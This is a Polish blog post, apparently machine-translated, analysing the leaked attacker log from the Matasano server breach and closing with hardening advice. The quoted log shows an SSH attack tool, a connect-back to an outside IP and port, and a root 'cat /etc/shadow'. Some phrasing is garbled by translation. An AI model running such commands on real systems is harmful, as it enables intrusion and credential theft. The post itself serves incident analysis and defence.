Jak zhakowano Matasano?
Nie da się odpowiedzieć z informacji zawartych w poście na pełne ujawnienie. Jednak zawsze interesujące jest spekulowanie, ponieważ dają one trochę informacji -
# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Łączenie z 69.61.87.163:22 ..
[/] Szukam ważnego użytkownika innego niż root. Adam
******** R3D4CT3D h4h4h4h4 ********
Działają binarnie th3_f1n41_s01ut10n
na serwerze Matasano, który łączy się z portem ssh. Znajduje prawidłowego użytkownika innego niż root za pomocą nieznanych środków, a reszta danych wyjściowych jest redagowana.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Detektor połączenia zwrotnego w dniu 209.112.118.10:3338 ..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 paź 2007]
Plik binarny jest uruchamiany ponownie przy użyciu znalezionej nazwy użytkownika, która loguje się i łączy z serwerem na porcie 3338 (mam nadzieję, że nie jest zarejestrowana w ich nazwie ...).
adam_at_www: ~ $ uname -a
Linux www 2.6.20.1-1-686 # 1 SMP niedz. 4 marca 12:44:55 UTC 2007 i686 GNU / Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****
Mogą sugerować, że mają 0 dni na to jądro, co jest dość stare, jeśli wziąć pod uwagę akcje tej firmy.
adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # cat / etc / shadow
Ups - nagle użytkownik jest teraz rootem. Mają exploita eskalacji uprawnień lokalnych w / tmp, który może być 0-dniem, o którym mówili.
Istnieją więc co najmniej dwa exploity - exploit OpenSSH, aby uzyskać prawidłowego użytkownika innego niż root w systemie i zalogować się jako ten użytkownik, a następnie eskalację uprawnień lokalnych.
Biorąc pod uwagę, że OpenSSH ma kilka znanych problemów bezpieczeństwa od wersji 4.5:
Ze strony bezpieczeństwa OpenSSH :
- OpenSSH przed wersją 5.2 jest podatny na słabość protokołu opisaną w CPNI-957037 „Atak odzyskiwania zwykłego tekstu przeciwko SSH”. Jednak w oparciu o ograniczone dostępne informacje wydaje się, że opisany atak jest w większości przypadków niemożliwy do zrealizowania. Aby uzyskać więcej informacji, zapoznaj się z poradnikiem cbc.adv i uwagami do wydania OpenSSH 5.2.
- OpenSSH 4.9 i nowsze nie działają w
~/.ssh/rc
przypadku sesji, których komenda została zastąpiona przez dyrektywę ForceShommand sshd_config (5). Było to udokumentowane, ale niebezpieczne zachowanie (opisane w uwagach do wydania OpenSSH 4.9).
- OpenSSH 4.7 i nowsze nie wracają do tworzenia zaufanych plików cookie uwierzytelniania X11, gdy niepowodzenie generowania niezaufanych plików cookie (np. Z powodu celowego wyczerpania zasobów), jak opisano w uwagach do wydania OpenSSH 4.7.
Wydaje mi się, że to starsze jądro Linuksa i starszy demon SSH zrobili dla nich. Ponadto działał na ich serwerze www, który jest dostępny w Internecie, co moim zdaniem jest dość pewne. Ludzie, którzy się włamali, najwyraźniej chcieli ich zawstydzić.
Jak zapobiec tym atakom?
Można temu zapobiec poprzez proaktywną administrację - upewnienie się, że wszystkie usługi internetowe są załatane, i ograniczenie liczby osób, które mogą się połączyć, zamiast pozwalania ludziom na połączenie z dowolnego miejsca. Ten odcinek potwierdza lekcję, że bezpieczna administracja systemem jest trudna i wymaga poświęcenia ze strony biznesu, aby dać czas IT na utrzymanie łatki - w rzeczywistości nie jest to coś, co dzieje się łatwo, przynajmniej w mniejszych firmach.
Najlepszym rozwiązaniem jest stosowanie metody pasów i nawiasów klamrowych - uwierzytelnianie za pomocą klucza publicznego, biała lista w demonie ssh, uwierzytelnianie dwuskładnikowe, ograniczenia adresów IP i / lub umieszczanie wszystkiego za VPN są możliwymi drogami do jego zablokowania.
Chyba wiem, co jutro będę robił w pracy. :)